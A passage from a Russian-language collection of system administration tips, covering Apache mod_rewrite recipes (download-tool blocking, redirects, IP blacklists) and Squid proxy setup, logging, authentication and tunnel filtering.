       RewriteRule ^/images/foo(.*)$  http://foo.bar.nyud.net:8080/images/foo$1 [R,L]
    или можно сразу подставить HTTP_HOST
       RewriteRule ^/images/foo(.*)$ http://%{HTTP_HOST}.nyud.net:8080/images/foo$1 [R,L]
    
     
    ----* Замена содержимого отдаваемых Apache2 документов, по заданной маске (доп. ссылка 1)   [комментарии]
     
    Для автоматической замены, при отдаче html страниц, одного блока на другой
    можно использовать mod_substitute (http://httpd.apache.org/docs/2.2/mod/mod_substitute.html).
    Маска замены задается в виде регулярного выражения.  
    
    Примеры:
    
       <Location /private>
           AddOutputFilterByType SUBSTITUTE text/html
           Substitute s/SECRET/XXXXX/ni
       </Location>
    
       <Location />
           AddOutputFilterByType SUBSTITUTE text/html
           Substitute s/foo/bar/ni
       </Location>
    
       <Location />
           AddOutputFilterByType SUBSTITUTE text/html
           Substitute "s|<BR */?>|<br />|i"
       </Location>
    
    Опции:
      i - совпадение без учета регистра;
      n - строчное совпадение, без использования регулярных выражений;
      f - позволяет результаты текущей замены использовать в других заменах,
          заданных в других mod_substitute правилах.
    
     
    ----* Блокирование автоматических качалок через mod_rewrite (доп. ссылка 1)   [комментарии]
     
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
    RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
    RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
    RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
    RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
    RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
    RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
    RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
    RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
    RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
    RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
    RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
    RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
    RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
    RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
    RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
    RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
    RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
    RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
    RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
    RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
    RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
    RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Zeus
    RewriteRule ^.* - [F,L]
    
    Дополнительный список:
    
    RewriteCond %{HTTP_USER_AGENT} Accelerator [OR]
    RewriteCond %{HTTP_USER_AGENT} Ants [OR]
    RewriteCond %{HTTP_USER_AGENT} attach [OR]
    RewriteCond %{HTTP_USER_AGENT} BackWeb [OR]
    RewriteCond %{HTTP_USER_AGENT} Teleport.*Pro [OR]
    RewriteCond %{HTTP_USER_AGENT} Bandit [OR]
    RewriteCond %{HTTP_USER_AGENT} Buddy [OR]
    RewriteCond %{HTTP_USER_AGENT} Collector [OR]
    RewriteCond %{HTTP_USER_AGENT} Copier [OR]
    RewriteCond %{HTTP_USER_AGENT} Downloader [OR]
    RewriteCond %{HTTP_USER_AGENT} Drip [OR]
    RewriteCond %{HTTP_USER_AGENT} eCatch [OR]
    RewriteCond %{HTTP_USER_AGENT} EirGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} ExtractorPro [OR]
    RewriteCond %{HTTP_USER_AGENT} EyeNetIE [OR]
    RewriteCond %{HTTP_USER_AGENT} FileHound [OR]
    RewriteCond %{HTTP_USER_AGENT} FlashGet [OR]
    RewriteCond %{HTTP_USER_AGENT} GetRight [OR]
    RewriteCond %{HTTP_USER_AGENT} Gets [OR]
    RewriteCond %{HTTP_USER_AGENT} Go-Ahead-Got-It [OR]
    RewriteCond %{HTTP_USER_AGENT} gotit [OR]
    RewriteCond %{HTTP_USER_AGENT} Go!Zilla [OR]
    RewriteCond %{HTTP_USER_AGENT} GoZilla [OR]
    RewriteCond %{HTTP_USER_AGENT} Grabber [OR]
    RewriteCond %{HTTP_USER_AGENT} GrabNet [OR]
    RewriteCond %{HTTP_USER_AGENT} Grab.*Site [OR]
    RewriteCond %{HTTP_USER_AGENT} Grafula [OR]
    RewriteCond %{HTTP_USER_AGENT} Gulliver [OR]
    RewriteCond %{HTTP_USER_AGENT} HMView [OR]
    RewriteCond %{HTTP_USER_AGENT} HTTrack [OR]
    RewriteCond %{HTTP_USER_AGENT} IBrowse [OR]
    RewriteCond %{HTTP_USER_AGENT} InterGET [OR]
    RewriteCond %{HTTP_USER_AGENT} Internet.*Ninja [OR]
    RewriteCond %{HTTP_USER_AGENT} Iria [OR]
    RewriteCond %{HTTP_USER_AGENT} jetcar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} JOC [OR]
    RewriteCond %{HTTP_USER_AGENT} JustView [OR]
    RewriteCond %{HTTP_USER_AGENT} leach [OR]
    RewriteCond %{HTTP_USER_AGENT} leech [OR]
    RewriteCond %{HTTP_USER_AGENT} lftp [OR]
    RewriteCond %{HTTP_USER_AGENT} likse [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Magnet [OR]
    RewriteCond %{HTTP_USER_AGENT} Mag-Net [OR]
    RewriteCond %{HTTP_USER_AGENT} Memo [OR]
    RewriteCond %{HTTP_USER_AGENT} MIDown.*tool [OR]
    RewriteCond %{HTTP_USER_AGENT} Mirror [OR]
    RewriteCond %{HTTP_USER_AGENT} Mister.*PiX [OR]
    RewriteCond %{HTTP_USER_AGENT} Navroad [OR]
    RewriteCond %{HTTP_USER_AGENT} NearSite [OR]
    RewriteCond %{HTTP_USER_AGENT} Net.*Reaper [OR]
    RewriteCond %{HTTP_USER_AGENT} NetSpider [OR]
    RewriteCond %{HTTP_USER_AGENT} Net.*Vampire [OR]
    RewriteCond %{HTTP_USER_AGENT} NetZip [OR]
    RewriteCond %{HTTP_USER_AGENT} Ninja [OR]
    RewriteCond %{HTTP_USER_AGENT} Octopus [OR]
    RewriteCond %{HTTP_USER_AGENT} Offline.*Explorer [OR]
    RewriteCond %{HTTP_USER_AGENT} Offline [OR]
    RewriteCond %{HTTP_USER_AGENT} PageGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} Page.*Saver [OR]
    RewriteCond %{HTTP_USER_AGENT} Papa.*Foto [OR]
    RewriteCond %{HTTP_USER_AGENT} pcBrowser [OR]
    RewriteCond %{HTTP_USER_AGENT} Pita [OR]
    RewriteCond %{HTTP_USER_AGENT} Pockey [OR]
    RewriteCond %{HTTP_USER_AGENT} Pump [OR]
    RewriteCond %{HTTP_USER_AGENT} Reaper [OR]
    RewriteCond %{HTTP_USER_AGENT} Recorder [OR]
    RewriteCond %{HTTP_USER_AGENT} ReGet [OR]
    RewriteCond %{HTTP_USER_AGENT} Siphon [OR]
    RewriteCond %{HTTP_USER_AGENT} SmartDownload [OR]
    RewriteCond %{HTTP_USER_AGENT} Snagger [OR]
    RewriteCond %{HTTP_USER_AGENT} Snake [OR]
    RewriteCond %{HTTP_USER_AGENT} Stripper [OR]
    RewriteCond %{HTTP_USER_AGENT} Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} SuperBot [OR]
    RewriteCond %{HTTP_USER_AGENT} SuperHTTP [OR]
    RewriteCond %{HTTP_USER_AGENT} Surfbot [OR]
    RewriteCond %{HTTP_USER_AGENT} tAkeOut [OR]
    RewriteCond %{HTTP_USER_AGENT} Triton [OR]
    RewriteCond %{HTTP_USER_AGENT} Vacuum [OR]
    RewriteCond %{HTTP_USER_AGENT} Weazel [OR]
    RewriteCond %{HTTP_USER_AGENT} WebAuto [OR]
    RewriteCond %{HTTP_USER_AGENT} WebCapture [OR]
    RewriteCond %{HTTP_USER_AGENT} WebCopier [OR]
    RewriteCond %{HTTP_USER_AGENT} WebFetch [OR]
    RewriteCond %{HTTP_USER_AGENT} Web.*Image.*Collector [OR]
    RewriteCond %{HTTP_USER_AGENT} WebMirror [OR]
    RewriteCond %{HTTP_USER_AGENT} WebReaper [OR]
    RewriteCond %{HTTP_USER_AGENT} WebRecorder [OR]
    RewriteCond %{HTTP_USER_AGENT} WebSauger [OR]
    RewriteCond %{HTTP_USER_AGENT} WebSite.*Extractor [OR]
    RewriteCond %{HTTP_USER_AGENT} Website.*Quester [OR]
    RewriteCond %{HTTP_USER_AGENT} Web.*Spy [OR]
    RewriteCond %{HTTP_USER_AGENT} WebSpy [OR]
    RewriteCond %{HTTP_USER_AGENT} Webster [OR]
    RewriteCond %{HTTP_USER_AGENT} WebStripper [OR]
    RewriteCond %{HTTP_USER_AGENT} Web.*Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} WebWhacker [OR]
    RewriteCond %{HTTP_USER_AGENT} WebZIP [OR]
    RewriteCond %{HTTP_USER_AGENT} Whacker [OR]
    RewriteCond %{HTTP_USER_AGENT} Widow [OR]
    RewriteCond %{HTTP_USER_AGENT} SpaceBison [OR]
    RewriteCond %{HTTP_USER_AGENT} www\.asona\.org
    RewriteRule .* - [F,L]
    
     
    ----* Как в Apache использовать скрипт для обработки части пути (доп. ссылка 1)   Автор: Rodriges  [обсудить]
     
    Есть скрипт http://domain.ru/art, для того чтобы запрос http://domain.ru/art/something 
    не вызывал ошибки и приводил к запуску этого скрипта в настройках Apache 2 нужно прописать:
      <FilesMatch "^art">
         AcceptPathInfo On
      </Files> 
    
    Для Apache 1.3, можно воспользоваться 
       ErrorDocument 404 /cgi-bin/art.cgi
    
    Или
       <Location /art>
         SetHandler cgi-script
       </Location>
    
    Или
       RewriteEngine on
       RewriteRule ^/art/(.*)$ /home/user/cgi-bin/art.cgi?$1 [T=application/x-httpd-cgi,L]
    
     
    ----* Как более эффективно блокировать несколько IP в apache (доп. ссылка 1)   [комментарии]
     
    При наличии IP в blacklist.txt, посетителю показывается sorry.html:
    
       RewriteEngine on
       Rewritemap ipmap txt:/path/to/blacklist.txt 
    
       RewriteCond ${ipmap:%{REMOTE_ADDR}} =b
       RewriteCond %{request_uri} !=/sorry.html
       RewriteCond %{request_uri} !=/stylesheet.css
       RewriteRule .* /sorry.html                        [R,L]
    
    
    /path/to/blacklist.txt
       11.22.33.44  b
       22.33.44.55  b
       33.44.55.66  b
    
     
    ----* Пример mod_rewrite редиректа при условии наличия файла   [обсудить]
     
    Существует множество файлов вида http://www.host.ru/test/dirN/M.html и
    http://www.host.ru/test/dirN/new/M.html (N=1,2..., M=1,2..)
    Необходимо, если установлена cookie shownew=on и присутствует файл
    /test/dirN/new/M.html прозрачно отображать
    его содержимое,  а не файла /test/dirN/M.html, который показываем если
    /test/dirN/new/M.html отсутствует.
    
       RewriteEngine on
       RewriteCond %{HTTP_COOKIE} ^.*shownew=on.*$
       RewriteCond %{REQUEST_URI} ^/test/([a-z]+[0-9]+)/([0-9]+\.html)$
       RewriteCond /home/host/htdocs/test/%1/new/%2 -f
       RewriteRule ^/test/([a-z]+[0-9]+)/([0-9]+\.html)$ /home/host/htdocs/test/$1/new/$2 [L]
    
     
    ----* Как в mod_rewrite организовать прозрачный переброс на CGI скрипт   [обсудить]
     
    Вместо test.shtml?parm=N выдаем результат работы /cgi-bin/test.cgi?param=1
    
        RewriteCond %{REQUEST_URI} /test.shtml
        RewriteCond %{QUERY_STRING} param=[0-9]+
        RewriteRule ^(.+) $1/%{QUERY_STRING}  [C]
        RewriteRule ^/test.shtml/param=([0-9]+) /home/user/cgi-bin/test.cgi?param=$1 [T=application/x-httpd-cgi,L]
    
     
    ----* Можно ли произвести редирект на другую страницу без использования mod_rewrite   [комментарии]
     
    Можно воспользоваться директивой Redirect из mod_alias:
       Redirect /dir1 http://test.ru/dir2
       Redirect permanent /dir1/ http://test.ru/dir2
       RedirectMatch  ^/$ http://test.ru/new.html
       RedirectMatch  .* http://test.ru/new.html
       RedirectMatch (.*)\.gif$ http://test.ru$1.jpg
      AliasMatch ^/img/(.*) /home/user1/img/$1
    
     
    ----* Как разрешить скачивать картинки с текущего сайта и запретить выкачивание через чужие линки.   Автор: uldus  [комментарии]
     
    RewriteEngine On
    RewriteCond %{REQUEST_URI} /img/ 
    RewriteCond %{HTTP_REFERER} !^.*somedom\.ru.* [NC]
    RewriteCond %{HTTP_REFERER} !^$
    RewriteRule .* /empty.gif [L]
    
     
    ----* Выдача страницы в Apache в зависимости от языка   Автор: Belousov Oleg  [комментарии]
     
    есть диры:
    sub_host1/ru
    sub_host1/en
    sub_host2/ru
    sub_host2/en
    при обращении к www.somehost.ru/sub_host1 (и 2) должнен быть переход в дир со своим языком.
    -- cgi-bin/redir.pl --
    #!/usr/bin/perl
    use CGI qw/:standard/;
    ($lang) = $ENV{HTTP_ACCEPT_LANGUAGE} =~ /(.?.?)/;
    ($redirurl) = param('redirurl');
    $lang='en' if !( -d $ENV{DOCUMENT_ROOT}.$redirurl.$lang);
    print redirect(-url=>$redirurl.$lang.'/');
    -- httpd.conf --
    RewriteEngine On
    RewriteRule ^(/sub_host1/)$  /cgi-bin/redir.pl?redirurl=$1 [R,NE]
    RewriteRule ^(/sub_host2/)$  /cgi-bin/redir.pl?redirurl=$1 [R,NE]
    </VirtualHost>
    
     
    ----* Как организовать прозрачный редирект на другую страницу   [комментарии]
     
    redirect  /catalog   http://new_host/new_catalog
    или с mod_rewrite:
    RewriteCond %{HTTP_HOST}  ^www.host1.ru$ [NC]
    RewriteRule (.*) http://www.host2.ru:8200$1 [R=permanent,L]
    
     

       Прокси сервер Squid

    ----* Как узнать логин в домене Windows имея ip и NTLM авторизацию в Squid?   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Если у Вас есть SQUID и Вы используете NTLM авторизацию и хотите знать какой сейчас 
    (по крайней мере в последний раз авторизовался) у клиента IP адрес или какому клиенту он присвоен, 
    то воспользуйтесь следующей командой:
    
    awk '{user[tolower($8)]=$3} END {for(i in user) {print user[i] " " i}}' access.log | sort
    
    Будет выведено примерно следующее:
      192.168.132.200 e_scher
      192.168.132.202 v_lit
      192.168.132.203 a_volob
      192.168.132.204 a_kuch
      192.168.132.210 e_utsum
      192.168.132.211 v_nik
      192.168.132.212 s_maz
    
    Как видите, это удобно использовать в случае squid и NAT.
    
     
    ----* Прокси сервер Squid c E2guardian и Clamav   Автор: Анкх  [комментарии]
     
    Тема достаточно избитая, но у E2Guardian - форка Dansguardian, появились
    новые возможности, и теперь эту связку можно настроить несколько красивее.
    Сразу скажу что в плане SSL трафика все стало намного лучше.
    
    Теория.
    
    Прокси сервер Squid хорошо работает в режиме SSL bump, раскрывая SSL соединение
    и получая доступ к его содержимому. Далее он может это содержимое отдать на
    проверку ICAP серверу по протоколу icap://. Еще раз поясним, что в этот момент
    контент уже не шифрован, а plain.
    
    Раньше использовали сервер C-icap с бэкендами (как правило с одним только
    Clamav или другим AV) для дальнейшего сканирования. Для сканирования контента
    на фразы по icap:// не было бесплатной реализации, а Dansguardian использовался
    как каскадный Proxy, и не имел доступа к SSL содержимому (или я ошибаюсь,
    поправьте меня).
    Dansguardian заброшен с  2012 года, но нашлись люди, который сделали форк под
    наименованием E2guardian. В него добавили функциональность работы в режиме ICAP сервера.
    
    То есть теперь на текущий момент Squid может отдавать раскрытый SSL трафик
    прямо в E2guardian по протоколу icap://. E2guardian  в свою очередь может
    сканировать трафик по фразам, а также он унаследовал возможность отдавать его
    на проверку в Clamav на вирусы. Получается достаточно красивая связка Squid
    =icap://=> E2guardian => Clamav.
    
    Сборка.
    
    Я собираю все в Slackware64-current (просто у меня дома сейчас так). Сборка не
    интересна, слакваристы сами умеют это делать, и отнимает много времени. Кому
    все таки надо, вот мой build.
    
    Итак мы получили 3 пакета:
       squid-4.6-x86_64-2.txz
       clamav-0.101.2-x86_64-2.txz
       e2guardian-5.3-x86_64-2
    
    Я установил их в chroot /opt/SEC-server и установил туда окружение с нужными зависимостями.
    
    Настройку описывать не буду, потому что это совет, а не инструкция. 
    
    Предлагаю скачать готовый 64-битный chroot, он не замусорит систему.
    Необходимо сгенерить и установить ключ с сертификатом и установить в etc/squid,
    а также поправить etc/resolv.conf и etc/hosts. Сертификат устанавливается также
    на каждую рабочую станцию в корневые центры сертификации.
    
    Тесты.
    
    Тесты на вирусы: https://www.eicar.org/?page_id=3950. Проверяем и SSL и
    Plain ссылки.
    Тест на большой файл с вирусом: bigfile
    Тест на фразы Google: анонимные прокси
    
     
    ----* Скрипт генерации статистики для Free-SA   Автор: Linjan  [комментарии]
     
    Анализатор логов Squid Free-SA (http://free-sa.sourceforge.net/) значительно
    удобнее и быстрее SARG. Во FreeBSD его можно установить из портов
    (/usr/ports/www/free-sa/). Настраивается программа достаточно тривиально,
    достаточно использовать поставляемый в комплекте (после установки порта
    находится в /usr/local/etc/free-sa/) пример free-sa.conf.sample, поменяв там
    путь к логам Squid в директиве "log_file".
    
    Через файл usertab (путь задается директивой username_file) можно определить
    псевдонимы для замены IP адресов именами пользователей, например, указав
    "192.168.0.1 Директор". При необходимости меняем путь к директории для
    сохранения сгенерированных отчетов (target_directory) и директории для
    сохранения временного кэша данных из лога Squid (директива cache_directory).
    
    Базовые параметры можно переопределить вручную, запустив из командной строки:
    
       free-sa -d 20.09.2010-21.09.2010 -l путь_к_логу_squid -o директория_для_сохранения_отчетов
    
    Ниже представлен скрипт для генерации статистики по заданным интервалам:
    
       #!/bin/bash
    
       # Modification for free-sa
       # Idea:
       ## SARG - Daily/Weekly/Monthly Squid usage reports creation tool
       ## Written by Ugo Viti <ugo.viti@initzero.it>
       ## Thanks for enanchements to:
       ## - martijn
       ## - Stas Degteff https://sourceforge.net/users/stas_degteff/
       # Modification by Linjan <tank1992@gmail.com>
    
       FREESA="/usr/local/bin/free-sa"
       CONFIG="/usr/local/etc/free-sa/free-sa.conf"
       TMPFILE=`/bin/mktemp`
       ERRORS="${TMPFILE}.errors"
    
       # Date Calc
       MANUALDATE=$2
       case "$(uname)" in
       "FreeBSD")
            TODAY=$(date +%m/%d/%Y)
            YESTERDAY=$(date -v-1d +%m/%d/%Y)
            WEEKAGO=$(date -v-1w +%m/%d/%Y)
            MONTHAGO=$(date -v-1m +%m/01/%Y)-$(date -v-1m +%m/31/%Y)
      ;;
       *)
            TODAY=$(date --date "today" +%m/%d/%Y)
            YESTERDAY=$(date --date "1 day ago" +%m/%d/%Y)
            WEEKAGO=$(date --date "1 week ago" +%m/%d/%Y)
            MONTHAGO=$(date --date "1 month ago" +%m/01/%Y)
      ;;
      esac
    
      manual ()
      {
        if [ -z "$MANUALDATE" ]
        then
          echo "No date given, please specify a valid date (MM/DD/YYYY)"
        else
          $FREESA -f $CONFIG -d $MANUALDATE-$MANUALDATE
        fi
      }
    
      today ()
      {
        $FREESA -f $CONFIG -d $TODAY-$TODAY >$ERRORS 2>&1
      }
     
      daily ()
      {
        $FREESA -f $CONFIG -d $YESTERDAY-$YESTERDAY >$ERRORS 2>&1
      }
    
      weekly ()
      {
        $FREESA -f $CONFIG -d $WEEKAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      monthly ()
      {
        $FREESA -f $CONFIG -d $MONTHAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      case $1 in
       manual)
           manual
           ;;
       today)
           today
           ;;
       daily)
           daily
           ;;
       weekly)
           weekly
           ;;
       monthly)
           monthly
           ;;
        *)
           echo "Usage: $0 [OPTIONS]"
           echo
           echo "Allowed options:"
           echo "    manual,  Create Manual report"
           echo "    date format is MM/DD/YY"
           echo "     today,  Create Today report"
           echo "     daily,  Create Daily report"
           echo "    weekly,  Create Weekly report"
           echo "   monthly,  Create Monthly report"
           exit 0
      esac
    
    Помещаем данный скрипт в директорию, откуда будем его запускать, присваиваем
    права запуска и добавляем эти строки в crontab:
    
       00 00 * * * freesa-reports daily
       00 01 * * 1 freesa-reports weekly
       30 02 1 * * freesa-reports monthly
    
     
    ----* Защищаем http-proxy от пробрасывания http-туннеля средствами iptables (доп. ссылка 1)   Автор: Владимир   [комментарии]
     
    При пробрасывании http-туннеля через http-прокси, http-заголовок пакета имеет
    аномально маленький размер, порядка 80-90 байт, так как передается лишь
    минимальный набор данных. Заголовок передаваемых браузером запросов обычно не
    бывает меньше 350 байт. Основываясь на данной особенности можно отфильтровать
    проброшенных поверх http-прокси туннели.
    
       # политика по умолчанию
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       # создаём новую цепочку LENGTH
       iptables -N LENGTH
    
       # проверяем длину пакета, если меньше 350 байт то блокируем
       iptables -A LENGTH -p tcp --dport 3128 -m length --length :350 -j DROP
    
       # если пакет больше 350 байт то пропускаем
       iptables -A LENGTH -p tcp --dport 3128 -j ACCEPT
    
       # разрешаем подключение на порт 3128
       iptables -A INPUT -p tcp --syn --dport 3128 -j ACCEPT
    
       # в установленом соединении проверяем пакеты на запрос GET --hex- string "|47 45 54 20|" 
       # если есть такой пакет то направляем его в цепочку LENGTH для проверки длины пакета
       iptables -A INPUT -p tcp --dport 3128 -m state --state ESTABLISHED -m string --algo kmp \
          --hex-string "|47 45 54 20|" --from 52 --to 56 -j LENGTH
    
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Представленный пример опробован  на httptunnel 
    
     
    ----* Организация подключения по SSH через HTTP прокси   [комментарии]
     
    Устанавливаем ПО corkscrew (http://www.agroman.net/corkscrew/), позволяющее
    создавать туннели поверх HTTP прокси.
    
    Например, для Debian/Ubuntu:
       apt-get install corkscrew
    
    Для FreeBSD:
       cd /usr/ports/net/corkscrew && make && make install
    
    
    Создаем в домашней директории файл настроек .proxy-auth в который прописываем логин и пароль 
    для подключения к прокси, в формате "имя:пароль", например:
    
       moi_login:moi_parol
    
    Настраиваем проброс туннеля в SSH. В ~/.ssh/config добавляем:
    
       Host *
       ProxyCommand corkscrew хост_прокси_сервера порт_прокси_сервера %h %p ~/.proxy-auth
    
    Вместо %h и %p ssh подставит хост и порт удаленной машины
    
    Подключаемся к внешнему хосту стандартно:
    
       ssh testhost.ru
    
     
    ----* Помещение данных о входящем трафике из ipcad в лог squid (доп. ссылка 1)   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Чтобы анализаторы логов прокси сервера squid отображали данные о пересылках в обход прокси, 
    например данные по почтовому или ssh трафику, можно сохранить данные о таких
    пересылках в логе squid.
    
    Настройки ipcad:
    
        capture-ports enable;
        interface ppp* filter "ip and not dst net 192.168.0.0/16";
        aggregate 0.0.0.0/0 strip 32; /* Считаем все адреса */
        /* Теперь укажем какие порты как отображать */
        aggregate 1-19 into 65535;
        aggregate 20-21 into 21;
        aggregate 22-23 into 22;
        aggregate 25 into 25;
        aggregate 24 into 65535;
        aggregate 26-79 into 65535;
        aggregate 80-81 into 0;
        aggregate 82-109 into 65535;
        aggregate 110 into 110;
        aggregate 111-442 into 65535;
        aggregate 443 into 443;
        aggregate 444-3127 into 65535;
        aggregate 3128 into 0;
        aggregate 3129-65535 into 65535;
    
    Сам файл обработки ipcad и записи в сквидовский лог:
    
        #!/bin/sh
        net="192.168"
        ttime=`/usr/bin/rsh localhost sh ip acco|/bin/grep 'Accounting data saved'| /bin/awk '{print ($4)}'`
        /usr/bin/rsh localhost clear ip accounting
        /usr/bin/rsh localhost show ip accounting checkpoint|/bin/grep $net|/bin/awk -v vtime=$ttime '{print (vtime".000",1,$1,"TCP_MISS/200",$4,"CONNECT",$2":"$6,"-","DIRECT/"$2,"-")}' >>/var/log/squid/access.log
    
    Вместо 192.168 Вы можете указать свою сеть, которую брать с ipcad'а и заносить
    в лог прокси сервера Squid.
    
    Таким образом весь трафик, указанный в настройках ipcad'а будет отображен в access.log сквида, 
    который в данном примере находится в папке /var/log/squid.
    
     
    ----* Прозрачное проксирование FreeBSD + IPFW + Squid.   Автор: Астафьев Григорий  [комментарии]
     
    Все тестировалось на FreeBSD 6.2.
    
    Вначале добавляем необходимые опции в ядро:
    
       IPFIREWALL
       IPFIREWALL_FORWARD
    
    Далее добавляем правила на разворот трафика на Squid:
    
       ipfw add 49 fwd 127.0.0.1,3128 tcp from any to any 80
    
    Затем правка собственно squid.conf :
    
       http_port 3128
    
       httpd_accel_host virtual
       httpd_accel_port 80
       httpd_accel_with_proxy on
       httpd_accel_uses_host_header on
    
     
    ----* Как вытащить все MP3 файлы из кеша Squid   Автор: Michael Rulov  [комментарии]
     
       purge -n -a -s -c /etc/squid/squid.conf -C /tmp/MP3s/ -e '\.mp3|\.wav'
    
    Утилиту purge скачать можно здесь: http://www.wa.apana.org.au/~dean/sources/
    
     
    ----* WCCP + Linux + Squid   Автор: Mike Zagrayevsky  [комментарии]
     
    Чтобы заставить эту связку работать необходимо в конфиге squid'a поставить "wccp_version 4",
    а на cisco - "ip wccp version 1" иначе не работает.
    Ядро 2.4.x собирается с включенным GRE, потом собирается и подгружается модуль ip_wccp.o
    Никаких iptunnel руками делать не надо. Все работает и без них.
    
     
    ----* Аутентификация пользователей в squid через учетные записи samba (доп. ссылка 1)   Автор: freeman  [обсудить]
     
    1. собрать сквид (2.5s1 или s2) с поддержкой аутентификации 
         --enable-auth=basic,ntlm --enable-auth-modules=SMB --enable-basic-helpers=SMB --enable-ntlm-modules=SMB
    2. поставить ntlm_auth из /helpers/ntlm_auth/smb/
    3. поставить smb_auth (для клиентов не поддерживающих ntlm аутентификацию) из /helpers/basic_auth/smb/
    4. в сквиде аутентификацию делать через ACL proxu_auth.
    
    basic аутентификацию через smb_auth (см. сайт разработчиков), для ntlm_auth встроенный хелп.
    Для самбы стандартные настройки для контроллера домена. 
    
     
    ----* Принудительное проксирование в FreeBSD (доп. ссылка 1)   Автор: Дмитрий Новиков  [комментарии]
     
